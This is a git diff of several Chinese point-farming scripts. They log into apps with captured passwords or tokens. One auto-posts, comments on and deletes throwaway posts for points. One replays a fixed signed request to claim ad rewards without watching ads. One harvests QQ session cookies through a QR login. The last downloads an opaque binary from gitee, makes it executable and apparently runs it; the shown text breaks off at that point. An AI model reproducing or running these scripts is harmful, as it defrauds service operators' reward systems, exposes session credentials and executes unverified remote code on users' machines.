url = "https://api.vip.xvnn.cn/api-user/v2/getToken"
|
||||
body = {
|
||||
"wx_openid": self.openid,
|
||||
"id": self.TaskId
|
||||
}
|
||||
response = self.do_post(url=url, data=body)
|
||||
if response["status"] == 'success':
|
||||
data = response["data"]
|
||||
self.token = data["token"]
|
||||
self.header["Authorization"] = 'Bearer ' + self.token
|
||||
print(f"获取到了token->{self.token}")
|
||||
self.task_ok()
|
||||
else:
|
||||
print("获取token失败")
|
||||
|
||||
if __name__ == '__main__':
|
||||
# openid
|
||||
users = os.environ.get("GuoUser")
|
||||
task_id = os.environ.get("GuoTaskId")
|
||||
# users = 'ojF6x6r86Ap-QMigu_Ia6NhQ-yps' + "\n" + "ojF6x6uvbWNHCMFQYZDaKIrb6i_A"
|
||||
# task_id = '3ef20677234150b7dca48ab44056ec6d'
|
||||
print("免费脚本发布QQ群:575922391 ")
|
||||
if users:
|
||||
user_list = users.split("\n")
|
||||
for openid in user_list:
|
||||
run = Run(openid=openid, task_id=task_id).do_task()
|
||||
else:
|
||||
print("暂未识别出用户信息")
|
||||
174
其他/江淮卡友.py
Normal file
174
其他/江淮卡友.py
Normal file
@@ -0,0 +1,174 @@
|
||||
## #实物收益参考:实物
|
||||
#1.先各大应用市场下载江淮卡友,然后先注册账户。
|
||||
#2.然后打开抓包软件抓域名http://jacwxmp.starnetah.com:18280/v2driver/v2/login下请求表单中的全部值。
|
||||
#提交格式示列:备注#{"phone":"XXX","password":
|
||||
# "67cb9aa7f8aec884f54592e911aeXXX","sendMessageKey":"default",
|
||||
# "deviceType":"1","appType":"0","sign":
|
||||
# "GwtKVy8XKB2T0vTecTUpZw9zlBCf7MDFGcVJw88/
|
||||
# u3p3vDLGMzq0zDuEJa6BZc6gdJBNTNT4FAnP0jnRwrxzH
|
||||
# +usO7AEaverTnF0SjR59MkC5qJjJ39ufWKP9ziSJWKcmV0Kn3Xj8dYt+CJzruVLEeKI3dqtN7H9FQ3rXXX="}
|
||||
|
||||
#import notify
|
||||
import requests, json, re, os, sys, time, random, datetime, threading, execjs
|
||||
environ = "jhky"
|
||||
name = "꧁༺ 江淮༒卡友 ༻꧂"
|
||||
session = requests.session()
|
||||
#---------------------主代码区块---------------------
|
||||
|
||||
def run(body):
|
||||
header = {
|
||||
"Connection": "keep-alive",
|
||||
"Content-Length": "309",
|
||||
"Pragma": "no-cache",
|
||||
"Cache-Control": "no-cache",
|
||||
"remoteToken": "",
|
||||
"lon":"117.233674",
|
||||
"deviceModel":"MI 8",
|
||||
"versionType":"1",
|
||||
"appType": "0",
|
||||
"User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36",
|
||||
"Content-Type": "application/json",
|
||||
"version":"",
|
||||
"lat":"31.826972",
|
||||
"osName":"Android 10",
|
||||
"token":"",
|
||||
"deviceType":"0",
|
||||
"Accept": "*/*",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"X-Requested-With": "com.esvtek.jac.driver",
|
||||
}
|
||||
try:
|
||||
url = f'http://jacwxmp.starnetah.com:18280/v2driver/v2/login'
|
||||
response = session.post(url=url, headers=header,data=body).json()
|
||||
#print(response)
|
||||
if response["resultCode"] == 200:
|
||||
ucId = response["data"]["userId"]
|
||||
token = response["data"]["token"]
|
||||
remoteToken = response["data"]["remoteToken"]
|
||||
remoteUserId = response["data"]["remoteUserId"]
|
||||
else:
|
||||
return
|
||||
header["remoteToken"] = remoteToken
|
||||
header["token"] = token
|
||||
url = f'http://jacwxmp.starnetah.com:18280/v2driver/signIn'
|
||||
response = session.post(url=url, headers=header,json={"ucId":ucId}).json()
|
||||
plcount = 0
|
||||
ftcount = 0
|
||||
count = 4
|
||||
url = f'http://jacwxmp.starnetah.com:18280/v2driver/queryIntegralHistory'
|
||||
response = session.post(url=url, headers=header,json={"ucId":ucId}).json()
|
||||
#print(response)
|
||||
if response["resultCode"] == 200:
|
||||
for item in response["data"]["list"]:
|
||||
credits = item["credits"]
|
||||
integralItem = item["integralItem"]
|
||||
createTime = int(int(item["createTime"])/1000)
|
||||
createTime_date = datetime.datetime.fromtimestamp(createTime)
|
||||
if createTime_date.day == datetime.datetime.now().day:
|
||||
if "评论" in integralItem:
|
||||
plcount = plcount + 1
|
||||
#print(plcount)
|
||||
if "发帖" in integralItem:
|
||||
ftcount = ftcount + 1
|
||||
#print(ftcount)
|
||||
if (count-ftcount) != 0:
|
||||
#for i in range(1):
|
||||
for i in range(count-ftcount):
|
||||
headers = {
|
||||
"Connection": "keep-alive",
|
||||
"Content-Length": "185",
|
||||
"Pragma": "no-cache",
|
||||
"Cache-Control": "no-cache",
|
||||
"deviceType":"0",
|
||||
"osName":"Android 10",
|
||||
"User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.101 Mobile Safari/537.36",
|
||||
"Content-Type": "application/json",
|
||||
"version":"",
|
||||
"deviceModel":"MI 8",
|
||||
"versionType":"1",
|
||||
"appType": "0",
|
||||
"token":token,
|
||||
"Accept": "*/*",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"X-Requested-With": "com.esvtek.jac.driver",
|
||||
}
|
||||
#print(token)
|
||||
urlft = f'http://jacwxmp.starnetah.com:18180/jac/bbs/api/invitationInfo/newInvitationImage'
|
||||
responseft = session.post(url=urlft, headers=headers,json={"atUserIdList":[],"content":"打卡","displayPhoto":"","forumId":0,"imageList":[],"newTopicList":[],"releaseType":0,"title":"打卡","topicList":[],"vehicleBrandName":"","videoUrl":""}).json()
|
||||
#print(responseft)
|
||||
time.sleep(5)
|
||||
urlftid = 'http://jacwxmp.starnetah.com:18180/jac/bbs/api/invitationInfo/myInvitationList'
|
||||
responseftid = session.post(url=urlftid, headers=headers,json={"page":1,"size":10,"bbsType":"image"}).json()
|
||||
#print(responseftid)
|
||||
ftid = responseftid["data"][0]["id"]
|
||||
time.sleep(5)
|
||||
urlftpl = f'http://jacwxmp.starnetah.com:18180/jac/bbs/api/invitationComment/newInvitationComment'
|
||||
responseftpl = session.post(url=urlftpl, headers=headers,json={"commentContent":"打卡评论一天","invitationId":ftid}).json()
|
||||
#print(responseftpl)
|
||||
time.sleep(5)
|
||||
urlftst = f'http://jacwxmp.starnetah.com:18180/jac/bbs/api/invitationInfo/deleteMyInvitation'
|
||||
responseftst = session.post(url=urlftst, headers=headers,json={"invitationId":ftid}).json()
|
||||
#print(responseftst)
|
||||
time.sleep(5)
|
||||
plcount = 0
|
||||
plpoint = 0
|
||||
ftcount = 0
|
||||
ftpoint = 0
|
||||
url = f'http://jacwxmp.starnetah.com:18280/v2driver/queryIntegralHistory'
|
||||
response = session.post(url=url, headers=header,json={"ucId":ucId}).json()
|
||||
#print(response)
|
||||
if response["resultCode"] == 200:
|
||||
for item in response["data"]["list"]:
|
||||
credits = int(item["credits"])
|
||||
integralItem = item["integralItem"]
|
||||
createTime = int(int(item["createTime"])/1000)
|
||||
createTime_date = datetime.datetime.fromtimestamp(createTime)
|
||||
if createTime_date.day == datetime.datetime.now().day:
|
||||
if "评论" in integralItem:
|
||||
plcount = plcount + 1
|
||||
plpoint = plpoint + credits
|
||||
if "发帖" in integralItem:
|
||||
ftcount = ftcount + 1
|
||||
ftpoint = ftpoint + credits
|
||||
if "签到" in integralItem:
|
||||
print(f"📈签到:{credits} 积分")
|
||||
print(f"📈评论:{plpoint}[{plcount}]积分")
|
||||
print(f"📈发帖:{ftpoint}[{ftcount}]积分")
|
||||
#任务后积分信息
|
||||
url = f'http://jacwxmp.starnetah.com:18280/v2driver/queryIntegral'
|
||||
response = session.post(url=url, headers=header,json={"ucId":ucId}).json()
|
||||
print(f"💹当前积分:{response['data']['integralCounts']} 积分")
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def main():
|
||||
global id, message
|
||||
message = []
|
||||
response = requests.get("https://mkjt.jdmk.xyz/mkjt.txt")
|
||||
response.encoding = 'utf-8'
|
||||
txt = response.text
|
||||
print(txt)
|
||||
if os.environ.get(environ):
|
||||
ck = os.environ.get(environ)
|
||||
else:
|
||||
ck = ''
|
||||
if ck == "":
|
||||
print("⭕请设置变量")
|
||||
sys.exit()
|
||||
ck_run = ck.split('\n')
|
||||
ck_run = [item for item in ck_run if item]
|
||||
print(f"{' ' * 7}{name}\n\n")
|
||||
for i, ck_run_n in enumerate(ck_run):
|
||||
try:
|
||||
id,arg1 = ck_run_n.split('#',2)
|
||||
print(f'\n----------- 🍺账号【{i + 1}/{len(ck_run)}】执行🍺 -----------')
|
||||
#id = mark[:3] + "*****" + mark[-3:]
|
||||
print(f"☁️当前账号:{id}")
|
||||
run(arg1)
|
||||
time.sleep(random.randint(1, 2))
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print(f"\n\n-------- ☁️ 执 行 结 束 ☁️ --------\n\n")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
161
其他/聚赏圈(1).py
Normal file
161
其他/聚赏圈(1).py
Normal file
@@ -0,0 +1,161 @@
|
||||
#入口:聚赏圈
|
||||
#抓包mini.nxqingchuangkeji.com域名下的token填到环境变量JSQ中,多账号使用&分割
|
||||
|
||||
import requests
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import random
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
def get_proclamation():
|
||||
print("a")
|
||||
# primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt"
|
||||
# backup_url = "https://tfapi.cn/TL/tl.json"
|
||||
#
|
||||
# headers = {
|
||||
# "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
|
||||
# }
|
||||
#
|
||||
# for url in [primary_url, backup_url]:
|
||||
# try:
|
||||
# response = requests.get(url, headers=headers, timeout=20)
|
||||
# if response.status_code == 200:
|
||||
#
|
||||
# print("📢 公告信息")
|
||||
# print("=" * 45)
|
||||
# print(response.text)
|
||||
# print("=" * 45 + "\n")
|
||||
# print(f"公告获取成功,开始执行任务...\n")
|
||||
# return
|
||||
# except requests.exceptions.RequestException as e:
|
||||
# print(f"获取公告时发生错误 (链接: {url}): {e}, 继续尝试下一个链接...")
|
||||
#
|
||||
# print("所有公告获取尝试均失败,继续执行任务...")
|
||||
|
||||
|
||||
def get_tokens_from_env():
|
||||
|
||||
tokens = os.getenv('JSQ', '').split('&')
|
||||
return tokens
|
||||
|
||||
|
||||
def fetch_user_info(token):
|
||||
|
||||
url = "https://mini.nxqingchuangkeji.com/api/Useraectype/userBasicsInfo"
|
||||
headers = {
|
||||
"Host": "mini.nxqingchuangkeji.com",
|
||||
"token": token,
|
||||
"content-type": "application/json",
|
||||
"charset": "utf-8",
|
||||
"referer": "https://servicewechat.com/wx5804e8877027009c/10/page-frame.html",
|
||||
"accept-encoding": "gzip, deflate, br"
|
||||
}
|
||||
payload = {}
|
||||
|
||||
try:
|
||||
response = requests.post(url, headers=headers, json=payload)
|
||||
if response.status_code == 200:
|
||||
user_data = response.json()
|
||||
if user_data.get("code") == 1: # 如果获取成功
|
||||
data = user_data.get("data", {})
|
||||
nickname = data.get("nickname", "未知账户")
|
||||
money = data.get("money", "未知余额")
|
||||
return nickname, money
|
||||
return "未知账户", "未知余额"
|
||||
except Exception:
|
||||
return "未知账户", "未知余额"
|
||||
|
||||
|
||||
def send_sign_request(token):
|
||||
|
||||
headers = {
|
||||
'Host': 'mini.nxqingchuangkeji.com',
|
||||
'token': token,
|
||||
'content-type': 'application/json',
|
||||
'charset': 'utf-8',
|
||||
'referer': 'https://servicewechat.com/wx5804e8877027009c/10/page-frame.html',
|
||||
}
|
||||
|
||||
data = '{"time": ' + str(int(time.time())) + '}'
|
||||
|
||||
try:
|
||||
response = requests.post('https://mini.nxqingchuangkeji.com/api/sign/sign', headers=headers, data=data)
|
||||
return response.json()
|
||||
except Exception:
|
||||
return {"code": -1, "msg": "签到失败"}
|
||||
|
||||
|
||||
def claim_gold(token):
|
||||
|
||||
data = {
|
||||
'start_time': 1750994743,
|
||||
'end_time': 1750994760,
|
||||
'sign': '95b3cc356f28859b13178d76818595fa'
|
||||
}
|
||||
headers = {
|
||||
'Host': 'mini.nxqingchuangkeji.com',
|
||||
'token': token,
|
||||
'content-type': 'application/json',
|
||||
'charset': 'utf-8',
|
||||
'referer': 'https://servicewechat.com/wx5804e8877027009c/10/page-frame.html',
|
||||
}
|
||||
try:
|
||||
response = requests.post('https://mini.nxqingchuangkeji.com/api/Advertising/keepAdvertisingGold', headers=headers, data=json.dumps(data))
|
||||
return response.json()
|
||||
except Exception:
|
||||
return {"code": -1, "msg": "广告请求失败"}
|
||||
|
||||
|
||||
def main():
|
||||
"""主函数"""
|
||||
tokens = get_tokens_from_env()
|
||||
if not tokens:
|
||||
print("未设置JSQ环境变量")
|
||||
print("=" * 45)
|
||||
return
|
||||
|
||||
for token in tokens:
|
||||
if not token:
|
||||
continue
|
||||
|
||||
# 获取账户信息
|
||||
nickname, money = fetch_user_info(token)
|
||||
account_info = f"账户: {nickname}, 余额: {money}"
|
||||
|
||||
# 执行签到
|
||||
sign_result = send_sign_request(token)
|
||||
if sign_result.get('code') == 1:
|
||||
print(f"{account_info} - 签到成功")
|
||||
print("=" * 45)
|
||||
else:
|
||||
print(f"{account_info} - 签到失败,原因:{sign_result.get('msg', '未知错误')}")
|
||||
print("=" * 45)
|
||||
|
||||
# 执行看广告获取金币(20次,随机延迟)
|
||||
success_count = 0
|
||||
for i in range(20):
|
||||
ad_result = claim_gold(token)
|
||||
if ad_result.get('code') == 1 and ad_result.get('msg') == '领取奖励成功':
|
||||
success_count += 1
|
||||
print(f"{account_info} - 广告任务第 {i+1} 次成功")
|
||||
print("=" * 45)
|
||||
else:
|
||||
print(f"{account_info} - 广告任务第 {i+1} 次失败,原因:{ad_result.get('msg', '未知错误')}")
|
||||
time.sleep(random.uniform(5, 320))
|
||||
|
||||
print(f"{account_info} - 广告任务完成,成功 {success_count}/20 次")
|
||||
print("=" * 45)
|
||||
|
||||
if __name__ == "__main__":
|
||||
start_time = datetime.now()
|
||||
|
||||
|
||||
get_proclamation()
|
||||
main()
|
||||
|
||||
end_time = datetime.now()
|
||||
|
||||
|
||||
|
||||
220
其他/骗子小丽.py
Normal file
220
其他/骗子小丽.py
Normal file
@@ -0,0 +1,220 @@
|
||||
'''
|
||||
new Env('周末大乐透扫码登陆')
|
||||
cron: 1 1 1 1 1
|
||||
_oo0oo_
|
||||
o8888888o
|
||||
88" . "88
|
||||
(| -_- |)
|
||||
0\ = /0
|
||||
___/`---'\___
|
||||
.' \\| |// '.
|
||||
/ \\||| : |||// \
|
||||
/ _||||| -:- |||||- \
|
||||
| | \\\ - /// | |
|
||||
| \_| ''\---/'' |_/ |
|
||||
\ .-\__ '-' ___/-. /
|
||||
___'. .' /--.--\ `. .'___
|
||||
."" '< `.___\_<|>_/___.' >' "".
|
||||
| | : `- \`.;`\ _ /`;.`/ - ` : | |
|
||||
\ \ `_. \_ __\ /__ _/ .-` / /
|
||||
=====`-.____`.___ \_____/___.-`___.-'=====
|
||||
`=---='
|
||||
|
||||
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
佛祖保佑 永不宕机 永无BUG
|
||||
|
||||
Author: BNDou
|
||||
Date: 2024-08-04 22:33:43
|
||||
LastEditTime: 2024-08-11 00:45:53
|
||||
FilePath: \Auto_Check_In\checkIn_SpeedWeekendLottery_getCK.py
|
||||
Description:
|
||||
'''
|
||||
|
||||
import sys
|
||||
import io
|
||||
import re
|
||||
import time
|
||||
from urllib.parse import unquote
|
||||
|
||||
import qrcode
|
||||
import requests
|
||||
try:
|
||||
from PIL import Image
|
||||
from pyzbar.pyzbar import decode
|
||||
from utils.notify import send # 导入消息通知模块
|
||||
except ModuleNotFoundError as e:
|
||||
if "PIL" in str(e):
|
||||
print(f"❌ {e}\n请到依赖管理中安装python环境的“pillow”")
|
||||
elif "pyzbar" in str(e):
|
||||
print(f"❌ {e}\n请到依赖管理中安装python环境的“pyzbar”")
|
||||
sys.exit()
|
||||
except ImportError as e:
|
||||
print(f"❌ {e}\n请安装 zbar 库,安装指令:apk add zbar-dev")
|
||||
sys.exit()
|
||||
except Exception as e: # 异常捕捉
|
||||
print('%s\n加载通知服务失败~' % e)
|
||||
|
||||
# def get_auth_token(t):
|
||||
# """官方算法:根据supertoken计算auth_token"""
|
||||
# e, r = 0, len(t)
|
||||
# for n in range(r):
|
||||
# e = 33 * e + ord(t[n])
|
||||
# return e % 4294967296
|
||||
|
||||
|
||||
def get_ptqrtoken(t):
|
||||
"""官方算法:根据qrsig计算ptqrtoken"""
|
||||
e, r = 0, len(t)
|
||||
for n in range(r):
|
||||
e += (e << 5) + ord(t[n])
|
||||
return 2147483647 & e
|
||||
|
||||
|
||||
def getG_tk(skey):
|
||||
"""官方算法:根据skey计算g_tk"""
|
||||
hash = 5381
|
||||
for i in range(len(skey)):
|
||||
hash += (hash << 5) + ord(skey[i])
|
||||
return hash & 2147483647
|
||||
|
||||
|
||||
def getUserData(p_uin, skey):
|
||||
"""获取用户数据"""
|
||||
msg, area = "", 1
|
||||
while area <= 3:
|
||||
url = f"https://comm.aci.game.qq.com/main?game=speed&area={area}&sCloudApiName=ams.gameattr.role"
|
||||
headers = {
|
||||
"Referer": "https://speed.qq.com/",
|
||||
"Cookie": f"ptui_loginuin={p_uin}; uin={p_uin}; skey={skey};"
|
||||
}
|
||||
response = requests.get(url, headers=headers)
|
||||
userData = unquote(response.text)
|
||||
# 获取用户数据
|
||||
if re.search(r"_webplat_msg=(.*?)&", userData).group(1) != "norole":
|
||||
AchievePoint = re.search(r"AchievePoint=(.*?)&",
|
||||
userData).group(1) # 成就点数
|
||||
Admiration = re.search(r"Admiration=(.*?)&",
|
||||
userData).group(1) # 心动值
|
||||
Charm = re.search(r"Charm=(.*?)&", userData).group(1) # 魅力值
|
||||
Money = re.search(r"Money=(.*?)&", userData).group(1) # 酷币
|
||||
RegisterTime = re.search(r"RegisterTime=(.*?)&",
|
||||
userData).group(1) # 飞车生日
|
||||
SuperMoney = re.search(r"SuperMoney=(.*?)&",
|
||||
userData).group(1) # 点券
|
||||
country = re.search(r"country=(.*?)&", userData).group(1) # 国家
|
||||
gamecount = re.search(r"gamecount=(.*?)&",
|
||||
userData).group(1) # 参赛场次
|
||||
first = re.search(r"first=(.*?)&", userData).group(1) # 冠军场次
|
||||
second = re.search(r"second=(.*?)&", userData).group(1) # 亚军场次
|
||||
third = re.search(r"third=(.*?)&", userData).group(1) # 季军场次
|
||||
honor = re.search(r"honor=(.*?)&", userData).group(1) # 荣誉
|
||||
level = re.search(r"level=(.*?)&", userData).group(1) # 等级
|
||||
name = re.search(r"name=(.*?)&", userData).group(1) # 等级称号
|
||||
nick = re.search(r"nick=(.*?)&", userData).group(1) # 昵称
|
||||
zone = re.search(r"zone=(.*?)&", userData).group(1) # 大区
|
||||
msg += (f"昵称:{nick} 大区:{zone}\n"
|
||||
f"等级:{level} ({name})\n"
|
||||
f"👑 荣誉:{honor} ({country})\n"
|
||||
f"🚗 参赛场次:{gamecount}\n"
|
||||
f"🥇 冠军场次:{first}\n"
|
||||
f"🥈 亚军场次:{second}\n"
|
||||
f"🥉 季军场次:{third}\n"
|
||||
f"⭐️ 成就点数:{AchievePoint}\n"
|
||||
f"💗 心动值:{Admiration}\n"
|
||||
f"💖 魅力:{Charm}\n"
|
||||
f"💰️ 酷币:{Money}\n"
|
||||
f"💸 点券:{SuperMoney}\n"
|
||||
f"🎂 飞车生日:{RegisterTime}\n\n")
|
||||
area += 1
|
||||
try:
|
||||
send('周末大乐透扫码登陆', msg)
|
||||
except Exception as err:
|
||||
print('%s\n❌️错误,请查看运行日志!' % err)
|
||||
return msg
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("✌ 请使用手机QQ扫描二维码")
|
||||
# 1、获取需要扫码的图片并切获取qrsig
|
||||
url = "https://ssl.ptlogin2.qq.com/ptqrshow?appid=21000118&daid=8&pt_3rd_aid=0"
|
||||
res_qr = requests.get(url)
|
||||
qrsig = res_qr.cookies.get('qrsig')
|
||||
# print("\nqrsig =", qrsig)
|
||||
|
||||
# 打印二维码
|
||||
barcode_url = ''
|
||||
barcodes = decode(Image.open(io.BytesIO(res_qr.content)))
|
||||
for barcode in barcodes:
|
||||
barcode_url = barcode.data.decode("utf-8")
|
||||
|
||||
qr = qrcode.QRCode(version=1,
|
||||
error_correction=qrcode.constants.ERROR_CORRECT_L,
|
||||
box_size=10,
|
||||
border=2)
|
||||
qr.add_data(barcode_url)
|
||||
qr.make(fit=True)
|
||||
# invert=True白底黑块
|
||||
qr.print_ascii(invert=True)
|
||||
|
||||
# 2、获取ptqrtoken
|
||||
ptqrtoken = get_ptqrtoken(qrsig)
|
||||
# print("ptqrtoken =", ptqrtoken)
|
||||
|
||||
# 3、监控用户是否扫成功
|
||||
while (True):
|
||||
params = {
|
||||
"ptqrtoken":
|
||||
ptqrtoken,
|
||||
"u1":
|
||||
"https://speed.qq.com/act/a20210322dltn/index.html",
|
||||
"from_ui":
|
||||
"1",
|
||||
"daid":
|
||||
"8",
|
||||
"aid":
|
||||
"21000118",
|
||||
"login_sig":
|
||||
" uZtHa1fGAUJzEn4Xq1mr5sHCbfWWqw94Len2c-T1dfoIAhnQU3bnXp1ocFTo-mnD",
|
||||
}
|
||||
query_string = "&".join([f"{k}={v}" for k, v in params.items()])
|
||||
url = f"https://xui.ptlogin2.qq.com/ssl/ptqrlogin?{query_string}"
|
||||
res_login = requests.get(
|
||||
url=url,
|
||||
headers={
|
||||
'Cookie':
|
||||
'; '.join([
|
||||
f'{key}={value}'
|
||||
for key, value in res_qr.cookies.get_dict().items()
|
||||
])
|
||||
})
|
||||
print(res_login.text)
|
||||
if "登录成功" in res_login.text:
|
||||
url = re.search(r"ptuiCB\('0','0','(.*?)','0','登录成功",
|
||||
res_login.text).group(1)
|
||||
res = requests.get(
|
||||
url=url,
|
||||
headers={
|
||||
'Cookie':
|
||||
'; '.join([
|
||||
f'{key}={value}'
|
||||
for key, value in res_login.cookies.get_dict().items()
|
||||
])
|
||||
},
|
||||
allow_redirects=False)
|
||||
# 4、提取 skey p_uin pt4_token p_skey
|
||||
skey = res.cookies.get_dict().get('skey')
|
||||
p_uin = res.cookies.get_dict().get('uin')
|
||||
pt4_token = res.cookies.get_dict().get('pt4_token')
|
||||
p_skey = res.cookies.get_dict().get('p_skey')
|
||||
# g_tk = getG_tk(skey)
|
||||
# 5、获取用户数据
|
||||
getUserData(p_uin, skey)
|
||||
break
|
||||
# 两秒循环检测
|
||||
time.sleep(2)
|
||||
|
||||
ck = f"skey={skey}; p_uin={p_uin}; pt4_token={pt4_token}; p_skey={p_skey};"
|
||||
print(f"\nck获取成功\n请将下面一段复制到cookie中\n"
|
||||
f"👇👇👇👇👇👇\n{ck} sArea=大区自行填写(1电信2联通);\n👆👆👆👆👆👆")
|
||||
252
小米/20250818增加账密登录联通云盘积分.py
Normal file
252
小米/20250818增加账密登录联通云盘积分.py
Normal file
@@ -0,0 +1,252 @@
|
||||
|
||||
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import subprocess
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
import platform
|
||||
|
||||
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
os.chdir(script_dir)
|
||||
|
||||
def detect_platform():
|
||||
system = platform.system().lower()
|
||||
arch = platform.machine().lower()
|
||||
|
||||
print(f"检测到系统: {system}")
|
||||
print(f"检测到架构: {arch}")
|
||||
|
||||
is_android = False
|
||||
try:
|
||||
if os.path.exists('/system/build.prop') or 'ANDROID_ROOT' in os.environ:
|
||||
is_android = True
|
||||
system = 'android'
|
||||
except:
|
||||
pass
|
||||
|
||||
if is_android and arch in ['aarch64', 'arm64']:
|
||||
# Android ARM64
|
||||
return {
|
||||
'json_url': 'https://gitee.com/YCTZ/file/raw/master/LTYP3.json',
|
||||
'platform_name': 'Android ARM64',
|
||||
'file_pattern': 'android-arm64'
|
||||
}
|
||||
elif arch in ['aarch64', 'arm64', 'armv8', 'armv8l']:
|
||||
# ARM64
|
||||
return {
|
||||
'json_url': 'https://gitee.com/YCTZ/file/raw/master/LTYP2.json',
|
||||
'platform_name': 'ARM64',
|
||||
'file_pattern': 'arm64'
|
||||
}
|
||||
elif arch in ['armv7l', 'armv7', 'armv6l', 'armv6', 'arm']:
|
||||
# ARM32 (ARMv7)
|
||||
return {
|
||||
'json_url': 'https://gitee.com/YCTZ/file/raw/master/LTYP1.json',
|
||||
'platform_name': 'ARM32 (ARMv7)',
|
||||
'file_pattern': 'armv7'
|
||||
}
|
||||
else:
|
||||
# AMD64 (x86_64)
|
||||
return {
|
||||
'json_url': 'https://gitee.com/YCTZ/file/raw/master/LTYP.json',
|
||||
'platform_name': 'AMD64 (x86_64)',
|
||||
'file_pattern': 'amd64'
|
||||
}
|
||||
|
||||
def find_ltyp_files():
|
||||
"""查找当前目录下所有LTYP文件"""
|
||||
ltyp_files = []
|
||||
for filename in os.listdir('.'):
|
||||
if filename.startswith('LTYP') and os.path.isfile(filename):
|
||||
ltyp_files.append(filename)
|
||||
return ltyp_files
|
||||
|
||||
def extract_version_from_filename(filename):
|
||||
try:
|
||||
name_part = filename.replace('LTYP-', '').replace('LTYP', '')
|
||||
if name_part.startswith('-'):
|
||||
name_part = name_part[1:]
|
||||
|
||||
if '.' in name_part and name_part.endswith(('.exe', '.bin')):
|
||||
name_part = name_part.rsplit('.', 1)[0]
|
||||
|
||||
version_parts = name_part.split('-')
|
||||
for part in version_parts:
|
||||
try:
|
||||
return float(part)
|
||||
except ValueError:
|
||||
continue
|
||||
return 0
|
||||
except:
|
||||
return 0
|
||||
|
||||
def delete_old_ltyp_files(keep_file=None):
|
||||
ltyp_files = find_ltyp_files()
|
||||
deleted_files = []
|
||||
|
||||
for filename in ltyp_files:
|
||||
|
||||
if filename.endswith('.py'):
|
||||
print(f"跳过 .py 文件: {filename}")
|
||||
continue
|
||||
if filename != keep_file:
|
||||
try:
|
||||
os.remove(filename)
|
||||
deleted_files.append(filename)
|
||||
print(f"已删除旧版本文件: {filename}")
|
||||
except Exception as e:
|
||||
print(f"删除文件 {filename} 失败: {e}")
|
||||
|
||||
return deleted_files
|
||||
|
||||
def check_and_update_version():
|
||||
try:
|
||||
print("检查版本更新...")
|
||||
platform_config = detect_platform()
|
||||
json_url = platform_config['json_url']
|
||||
platform_name = platform_config['platform_name']
|
||||
|
||||
print(f"使用 {platform_name} 平台配置")
|
||||
|
||||
response = requests.get(json_url, timeout=10)
|
||||
response.raise_for_status()
|
||||
remote_info = response.json()
|
||||
|
||||
remote_version = remote_info.get("version", 0)
|
||||
download_url = remote_info.get("Url", "")
|
||||
readme = remote_info.get("README", "")
|
||||
|
||||
print(f"远程版本信息: {readme}")
|
||||
print(f"远程版本: {remote_version}")
|
||||
|
||||
ltyp_files = find_ltyp_files()
|
||||
current_version = 0
|
||||
current_executable = None
|
||||
|
||||
for filename in ltyp_files:
|
||||
file_version = extract_version_from_filename(filename)
|
||||
if file_version > current_version:
|
||||
current_version = file_version
|
||||
current_executable = filename
|
||||
|
||||
if current_executable:
|
||||
print(f"当前文件: {current_executable}")
|
||||
print(f"当前版本: {current_version}")
|
||||
else:
|
||||
print("当前目录下没有LTYP文件")
|
||||
print("当前版本: 无")
|
||||
|
||||
need_download = False
|
||||
if not current_executable:
|
||||
print("当前目录没有LTYP文件,开始下载...")
|
||||
need_download = True
|
||||
elif current_version < remote_version:
|
||||
print(f"发现新版本 {remote_version},开始下载更新...")
|
||||
need_download = True
|
||||
else:
|
||||
print("当前版本已是最新版本")
|
||||
|
||||
if need_download:
|
||||
print(f"⬇️正在下载: {download_url}")
|
||||
download_response = requests.get(download_url, timeout=30)
|
||||
download_response.raise_for_status()
|
||||
|
||||
if '/' in download_url:
|
||||
new_filename = download_url.split('/')[-1]
|
||||
else:
|
||||
new_filename = f"LTYP-{remote_version}"
|
||||
|
||||
if not new_filename.startswith('LTYP'):
|
||||
new_filename = f"LTYP-{remote_version}"
|
||||
|
||||
with open(new_filename, 'wb') as f:
|
||||
f.write(download_response.content)
|
||||
|
||||
if platform.system().lower() != 'windows':
|
||||
try:
|
||||
subprocess.run(["chmod", "+x", new_filename], check=True)
|
||||
print(f"为 {new_filename} 添加可执行权限...")
|
||||
except:
|
||||
print("添加可执行权限失败,但文件已下载")
|
||||
|
||||
deleted_files = delete_old_ltyp_files(keep_file=new_filename)
|
||||
if deleted_files:
|
||||
print(f"已清理 {len(deleted_files)} 个旧版本文件")
|
||||
|
||||
print(f"更新完成!新版本已保存为: {new_filename}")
|
||||
return new_filename
|
||||
else:
|
||||
return current_executable
|
||||
|
||||
except requests.RequestException as e:
|
||||
print(f"网络请求失败: {e}")
|
||||
return None
|
||||
except json.JSONDecodeError as e:
|
||||
print(f"JSON解析失败: {e}")
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"版本检查失败: {e}")
|
||||
return None
|
||||
|
||||
target_executable = check_and_update_version()
|
||||
|
||||
if target_executable:
|
||||
executable = f"./{target_executable}"
|
||||
if platform.system().lower() != 'windows':
|
||||
try:
|
||||
subprocess.run(["chmod", "+x", executable], check=True)
|
||||
except:
|
||||
print("添加可执行权限失败,但继续运行")
|
||||
else:
|
||||
